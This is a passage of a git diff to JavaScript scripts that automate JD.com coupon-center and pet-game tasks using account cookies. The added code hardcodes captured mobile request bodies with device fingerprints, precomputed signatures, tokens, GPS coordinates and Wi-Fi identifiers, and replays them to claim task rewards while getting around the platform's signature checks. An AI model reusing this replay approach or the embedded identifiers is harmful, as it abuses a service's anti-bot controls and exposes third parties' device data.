bb85I4ThMCgqvymyLl48ebUg7aQTle9CfTJVWu5gx0YZ/ScklgN9Pg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b" - await getCcTaskList(functionId, body, type); - if(Number(id) == 229){ + let functionId = `` + let body = `area=1_2953_54044_0&body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22shshshfpb%22%3A%22xMvLenI90G5fXNwdmMLrZ9zcRvSKKKrp3twx2gniQsgkav01VHSjwfaIlRQEYYJ4lUh7i6BmZXDIqLmrcpFgFPw%3D%3D%22%2C%22eid%22%3A%22eidI10a1812352s2f8fFJhaZRAaygJavMzzPuH%5C/HxpE9QzhNJ2Cf5aWxpC%2Bi2hshw7jujEFX%5C/JQtTGYOL2wlDjPaiPMK0KbiFPDza4sbsufvPStkf1tM%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22lat%22%3A%2240.18191448804161%22%2C%22globalLat%22%3A%2240.18993%22%2C%22lng%22%3A%22117.0065653831892%22%2C%22globalLng%22%3A%22117.010071%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone10%2C2&eid=eidI10a1812352s2f8fFJhaZRAaygJavMzzPuH/HxpE9QzhNJ2Cf5aWxpC%2Bi2hshw7jujEFX/JQtTGYOL2wlDjPaiPMK0KbiFPDza4sbsufvPStkf1tM&isBackground=N&joycious=95&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8548106a862f1fe7b4b84d3a16f7ffdcf47390de&osVersion=14.4.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=2c33f9e1230505e54632d18706b99d5c&st=1627058018278&sv=100&uemps=0-0&uts=0f31TVRjBStnWyWKh4kj%2BvuskvWGi54eyJH5cLJVT6QoOtzNpjyhH/ToU5X7LhKoleMMycwNk8t28%2BJhe0WWPZLkED4dnpAJv9MsudkLTd%2BKR8CJOEgC4PH/IFRT8y51lwtUBXR26fHwsk4aYqBSg0uiALvjv09TMPXJwxQIQ6gEdaaN2v%2B2PBvm1Obp5Nr0RMweFYy4mc1DamSX2mqF5g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=a19cc6de09ae7d189d19659de2c95af6` + await getCcTaskList('getCcTaskList', body, type); + if (id === 229) { body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49441271645999%22%2C%22taskId%22%3A%22necklace_229%22%2C%22lng%22%3A%22118.1447713674174%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=57453a76ffe9440d7961b05405fb4f13&st=1624535165882&sv=110&uemps=0-0&uts=0f31TVRjBStsz%2BC9YKuTtbGZPv/xrvQQdSUKvavez1nEbzXO4dLo%2BXEvUHAXAd0VPmZqkUNAf2yO/fBM7ImhPYnyBrotzw06Kk7qP6mG42fhA1t5BkW3ZGLaQgPtiuosYOHPMyHpg%2BJ9ZQBP4g3zsSFq2DUWsTOZbb85I4ThMCgqvymyLl48ebUg7aQTle9CfTJVWu5gx0YZ/ScklgN9Pg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - }else if(Number(id) == 260){ + } else if (id === 260) { body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22hRRVbEkLST%2BoqUB6fhir%2BfMoJS814u0eqASGoy8xq0vV1m9X9zKoAVYtaZjcO4UsQaWNyUrMVkZK5HBZ5aJo5zQ%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49435886957707%22%2C%22taskId%22%3A%22necklace_260%22%2C%22lng%22%3A%22118.144791637343%22%2C%22eid%22%3A%22eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm%5C/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY%22%7D&build=167568&client=apple&clientVersion=9.4.2&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=51&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=93249982ced7ec850c69de8b3e859dab&st=1624610691429&sv=110&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJSTfJm3Nbyn7GqB7OtrJRuHoZMYV%2Bs0mkEZsSwjxzwlDPXLeepml5BnM5XPZQmPVomYBHlkSfLJWR5D1y0Ovgf60fpjMS2gXL5aLh50cNO3cmx2GvVTaTeYxvRUl%2BpaW7HXsuBhxJgA6pUzd01tBX9yiFih8xvToesg91Nl8KcWGYzXJ2/hWKXg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - }else if(Number(id) == 267){ + } else if (id === 267){ body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49437467152672%22%2C%22taskId%22%3A%22necklace_267%22%2C%22lng%22%3A%22118.1447981202065%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=64e2361aa2a81068930c0c3325fd45ef&st=1624950832218&sv=111&uemps=0-0&uts=0f31TVRjBSsMGLCxYS3UIqlZl8dbXmnuZ4ayfhN43Ot1QaV41onc66czNm7agt5ZxuI/ZiEjTyLMd9C68bu6j250BhqFBz9aHYMZHRsZRt99av4Tsia77GOWxlDaSYf5ixm0pZhBRR4OQ%2BUBD6%2BPW4wCMOS5CO3/VI2cFHPfi%2BdGNinbfncIha86vGUGuGKiHSAf4rUFY4wrafX6Rksw7g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - }else if(Number(id) == 273){ + } else if (id === 273) { body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.494383110087%22%2C%22taskId%22%3A%22necklace_273%22%2C%22lng%22%3A%22118.1447767134287%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=71&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=c5f1773c699259a32596629ff17c77af&st=1627034890276&sv=101&uemps=0-0&uts=0f31TVRjBSuc9dw/M%2Bj%2BYjMPuoLDUbUPjPag%2BZ5OSbdXPyIGbVBxfPOWG8Z24KZdpryfyfoAUE5oYfYi1SuqGZ5atF1ARqzdFrPeo%2BZQVMmuwn/nYDGsLdj0Q9HcidhJXAaY1ti0j023Mv4f/ls51fJl5ypecBgw2sWtd8KiGQncYOe9GxCz6tlkHuSHDk3zN6hF%2BN0deRJOqJP8OOrJog%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - }else if(Number(id) == 281){ - body = `area=16_1332_42932_43102&body=%7B%22shshshfpb%22%3A%22hRRVbEkLST%2BoqUB6fhir%2BfMoJS814u0eqASGoy8xq0vV1m9X9zKoAVYtaZjcO4UsQaWNyUrMVkZK5HBZ5aJo5zQ%3D%3D%22%2C%22globalLng%22%3A%22118.541458%22%2C%22globalLat%22%3A%2224.609455%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49440185204448%22%2C%22taskId%22%3A%22necklace_281%22%2C%22lng%22%3A%22118.1448096802756%22%2C%22eid%22%3A%22eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm%5C/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=51&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=6bf1da7e3c218998ae5bd34a5b9b0d5c&st=1627088377408&sv=122&uemps=0-1&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJPuQXd3Iw2YAKsnsGHXGtpI6DTtbcnaz7p7QeCmsoL2Cl/BMWopi0bEL/HBdhfK3iH/oMP6POfCzGYqGUp9HjUx/7lG%2BGpzuUJ%2B7ZrAQF4UMuG2/9epLOLCkpw4w6EgF4FqamAtXxTBCJZ82M%2Bkm26wJx996BKm7JCzdQfT6pJ0aFbovPOlp71A%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` + } else if (id === 281) { + body = `area=1_2953_54044_0&body=%7B%22shshshfpb%22%3A%22xMvLenI90G5fXNwdmMLrZ9zcRvSKKKrp3twx2gniQsgkav01VHSjwfaIlRQEYYJ4lUh7i6BmZXDIqLmrcpFgFPw%3D%3D%22%2C%22globalLng%22%3A%22117.010071%22%2C%22globalLat%22%3A%2240.18993%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2240.18191448804161%22%2C%22taskId%22%3A%22necklace_281%22%2C%22lng%22%3A%22117.0065653831892%22%2C%22eid%22%3A%22eidI10a1812352s2f8fFJhaZRAaygJavMzzPuH%5C/HxpE9QzhNJ2Cf5aWxpC%2Bi2hshw7jujEFX%5C/JQtTGYOL2wlDjPaiPMK0KbiFPDza4sbsufvPStkf1tM%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone10%2C2&eid=eidI10a1812352s2f8fFJhaZRAaygJavMzzPuH/HxpE9QzhNJ2Cf5aWxpC%2Bi2hshw7jujEFX/JQtTGYOL2wlDjPaiPMK0KbiFPDza4sbsufvPStkf1tM&isBackground=N&joycious=95&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8548106a862f1fe7b4b84d3a16f7ffdcf47390de&osVersion=14.4.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=53be7e8df676c891c8b7ffedd695c188&st=1627058033720&sv=122&uemps=0-0&uts=0f31TVRjBStnWyWKh4kj%2BvuskvWGi54eyJH5cLJVT6QoOtzNpjyhH/ToU5X7LhKoleMMycwNk8t28%2BJhe0WWPZLkED4dnpAJv9MsudkLTd%2BKR8CJOEgC4PH/IFRT8y51lwtUBXR26fHwsk4aYqBSg0uiALvjv09TMPXJwxQIQ6gEdaaN2v%2B2PBvm1Obp5Nr0RMweFYy4mc1DamSX2mqF5g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=a19cc6de09ae7d189d19659de2c95af6` } + console.log(`\n领券浏览任务:type:${type},id:${id}\n`); if (type === '4') { - // https://h5.m.jd.com/babelDiy/Zeus/2fDwtAwAQX1PJh51f3UXzLhKiD86/index.html - console.log('需等待30秒') functionId = 'reportSinkTask' body = `&appid=XPMSGC2019&monitorSource=&uuid=16245525345801334814959&body=%7B%22platformType%22%3A%221%22%2C%22taskId%22%3A%22necklace_${id}%22%7D&client=m&clientVersion=4.6.0&area=16_1315_1316_59175&geo=%5Bobject%20Object%5D` + console.log('需等待30秒') await $.wait(15000); } else { - // https://h5.m.jd.com/babelDiy/Zeus/3TcqzbLKXwyiGDzrn5nKV7sSEC8N/index.html - console.log('需等待15秒') functionId = 'reportCcTask' + console.log('需等待15秒') } - await $.wait(1600); + await $.wait(15500); await getCcTaskList(functionId, body, type); } function getCcTaskList(functionId, body, type = '3') { - let url = `https://api.m.jd.com/client.action?functionId=${functionId}` + let url = `https://api.m.jd.com/client.action?functionId=${functionId}`; + if (functionId === 'reportSinkTask') { + url += body + body = '' + } return new Promise(resolve => { - if (functionId === 'getCcTaskList') { - - } - if (functionId === 'reportCcTask'){ - - } - if (functionId === 'reportSinkTask'){ - url += body - body = '' - } - // if (type === '4' && functionId === 'reportCcTask'){ - // url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622193986049&sign=f5abd9fd7b9b8abaa25b34088f9e8a54&sv=102` - // body = `body=${escape(JSON.stringify(body))}` - // } const options = { url, body, @@ -427,7 +449,7 @@ function getCcTaskList(functionId, body, type = '3') { "Content-Type": "application/x-www-form-urlencoded", "Host": "api.m.jd.com", "Origin": "https://h5.m.jd.com", - "Cookie": cookie+$.joyytoken, + "Cookie": cookie, "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html", "User-Agent": UA, } @@ -441,7 +463,20 @@ function getCcTaskList(functionId, body, type = '3') { if (safeGet(data)) { if (type === '3' && functionId === 'reportCcTask') console.log(`点击首页领券图标(进入领券中心浏览15s)任务:${data}`) if (type === '4' && functionId === 'reportSinkTask') console.log(`点击“券后9.9”任务:${data}`) - // data = JSON.parse(data); + data = JSON.parse(data); + //异常情况:{"code":"600","echo":"signature verification failed"} + if (data['code'] === '600' && !hasSend) { + hasSend = true; + $.msg( + $.name, + '', + `${type === '3' ? '点击首页领券图标(进入领券中心浏览15s)任务' : '点击“券后9.9”任务'}ID已变更\n请联系作者等待更新` + ) + if ($.isNode()) await notify.sendNotify( + $.name, + `${type === '3' ? '点击首页领券图标(进入领券中心浏览15s)任务' : '点击“券后9.9”任务'}ID已变更\n请联系作者等待更新` + ) + } } } } catch (e) { @@ -455,34 +490,97 @@ function getCcTaskList(functionId, body, type = '3') { function taskPostUrl(function_id, body = {}) { const time = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; return { - url: `${JD_API_HOST}?functionId=${function_id}&appid=coupon-necklace&loginType=2&client=coupon-necklace&t=${Date.now()}`, - body:`body=${escape(JSON.stringify(body))}`, - headers: { - 'Host': 'api.m.jd.com', - 'accept': 'application/json, text/plain, */*', - 'content-type': 'application/x-www-form-urlencoded', - 'origin': 'https://h5.m.jd.com', - 'accept-language': 'zh-cn', - 'User-Agent': UA, - 'referer': 'https://h5.m.jd.com/', - 'cookie': cookie+$.joyytoken - }, + url: `${JD_API_HOST}?functionId=${function_id}&appid=coupon-necklace&loginType=2&client=coupon-necklace&t=${time}&body=${escape(JSON.stringify(body))}&uuid=${uuid}`, // url: `${JD_API_HOST}?functionId=${function_id}&appid=jd_mp_h5&loginType=2&client=jd_mp_h5&t=${time}&body=${escape(JSON.stringify(body))}`, - // headers: { - // "accept": "*/*", - // "accept-encoding": "gzip, deflate, br", - // "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", - // "content-length": "0", - // "cookie": cookie+$.joyytoken, - // "origin": "https://h5.m.jd.com", - // "referer": "https://h5.m.jd.com/", - // "sec-fetch-dest": "empty", - // "sec-fetch-mode": "cors", - // "sec-fetch-site": "same-site", - // "user-agent": UA - // } + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", + "content-length": "0", + "cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "user-agent": UA + } } } +function randomString() { + return Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) +} +function getToken(timeout = 0){ + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://bh.m.jd.com/gettoken`, + headers : { + 'Content-Type' : `text/plain;charset=UTF-8` + }, + body : `content={"appname":"50082","whwswswws":"","jdkey":"","body":{"platform":"1"}}` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + joyToken = data.joyytoken; + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} function safeGet(data) { try { if (typeof JSON.parse(data) == "object") { diff --git a/jd_pet.js b/jd_pet.js index cfc5d37..946513e 100755 --- a/jd_pet.js +++ b/jd_pet.js @@ -31,13 +31,15 @@ let cookiesArr = [], cookie = '', jdPetShareArr = [], isBox = false, notify, new //下面给出两个账号的填写示例(iOS只支持2个京东账号) let shareCodes = [ // IOS本地脚本用户这个列表填入你要助力的好友的shareCode //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开 + //'MTAxODc2NTEzNTAwMDAwMDAwMjg3MDg2MA==@MTAxODc2NTEzMzAwMDAwMDAyNzUwMDA4MQ==@MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODc2NTEzNDAwMDAwMDAzMDI2MDI4MQ==@MTAxODcxOTI2NTAwMDAwMDAxOTQ3MjkzMw==@MTAxODc2NTEzMDAwMDAwMDAxMzgwNTcyNw==@MTAxODc2NTEzMzAwMDAwMDAxMzgwNDg3OQ==@MTE1NDAxNzcwMDAwMDAwMzUxNDMwMDc=@MTE1NDQ5MzYwMDAwMDAwMzUxNDMwMTE=@MTE1NDUwMTI0MDAwMDAwMDM2OTQ2Mjk1@MTAxODc2NTEzMjAwMDAwMDAyMDUxMDY2OQ==', //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开 + //'MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODcxOTI2NTAwMDAwMDAyNjA4ODQyMQ==@MTAxODc2NTEzOTAwMDAwMDAyNzE2MDY2NQ==@MTE1NDUyMjEwMDAwMDAwNDI0MDM2MDc=@MTAxODc2NTEzMjAwMDAwMDAwNDA5MzAzMw==@MTAxODc2NTEzMDAwMDAwMDAxMzgwNTcyNw==@MTAxODc2NTEzMzAwMDAwMDAxMzgwNDg3OQ==@MTE1NDAxNzcwMDAwMDAwMzUxNDMwMDc=@MTE1NDQ5MzYwMDAwMDAwMzUxNDMwMTE=@MTE1NDUwMTI0MDAwMDAwMDM2OTQ2Mjk1@MTAxODc2NTEzMjAwMDAwMDAyMDUxMDY2OQ==', ] let message = '', subTitle = '', option = {}; let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 const JD_API_HOST = 'https://api.m.jd.com/client.action'; let goodsUrl = '', taskInfoKey = []; -let randomCount = $.isNode() ? 20 : 5; +let randomCount = $.isNode() ? 0 : 0; !(async () => { await requireConfig(); if (!cookiesArr[0]) { @@ -134,14 +136,16 @@ async function jdPet() { await energyCollect();//收集好感度 await showMsg(); console.log('全部任务完成, 如果帮助到您可以点下🌟STAR鼓励我一下, 明天见~'); - } else if (initPetTownRes.code === '0'){ - console.log(`初始化萌宠失败: ${initPetTownRes.message}`); + } else { + console.log(`等待10秒后重试`); + await $.wait(10000); + await jdPet(); } } catch (e) { $.logErr(e) - const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; - if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); - $.msg($.name, '', `${errMsg}`) + // const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + // $.msg($.name, '', `${errMsg}`) } } // 收取所有好感度 @@ -439,7 +443,7 @@ async function showMsg() { } // jdNotify = `${notify.petNotifyControl}` === 'false' && `${jdNotify}` === 'false' && $.getdata('jdPetNotify') === 'false'; if ($.ctrTemp) { - $.msg($.name, subTitle, message, option); + // $.msg($.name, subTitle, message, option); if ($.isNode()) { allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); @@ -448,29 +452,53 @@ async function showMsg() { $.log(`\n${message}\n`); } } -function readShareCode() { - return new Promise(async resolve => { - $.get({url: `http://share.turinglabs.net/api/v3/pet/query/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} +// function readShareCode() { +// return new Promise(async resolve => { +// $.get({url: `http://www.helpu.cf/jdcodes/getcode.php?type=pet&num=${randomCount}`, 'timeout': 10000}, (err, resp, data) => { +// try { +// if (err) { +// console.log(`${JSON.stringify(err)}`) +// console.log(`${$.name} API请求失败,请检查网路重试`) +// } else { +// if (data) { +// console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) +// data = JSON.parse(data); +// } +// } +// } catch (e) { +// $.logErr(e, resp) +// } finally { +// resolve(data); +// } +// }) +// await $.wait(10000); +// resolve() +// }) +// } +//提交互助码 +// function submitCode() { +// return new Promise(async resolve => { +// $.get({url: `http://www.helpu.cf/jdcodes/submit.php?code=${$.petInfo.shareCode}&type=pet`, timeout: 10000}, (err, resp, data) => { +// try { +// if (err) { +// console.log(`${JSON.stringify(err)}`) +// console.log(`${$.name} API请求失败,请检查网路重试`) +// } else { +// if (data) { +// //console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) +// data = JSON.parse(data); +// } +// } +// } catch (e) { +// $.logErr(e, resp) +// } finally { +// resolve(data); +// } +// }) +// await $.wait(15000); +// resolve() +// }) +// } function shareCodesFormat() { return new Promise(async resolve => { // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) @@ -482,14 +510,12 @@ function shareCodesFormat() { const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); newShareCodes = shareCodes[tempIndex].split('@'); } - /* //因好友助力功能下线。故暂时屏蔽 - const readShareCodeRes = await readShareCode(); - //const readShareCodeRes = null; - if (readShareCodeRes && readShareCodeRes.code === 200) { - newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; - } - */ + // const readShareCodeRes = await readShareCode(); + 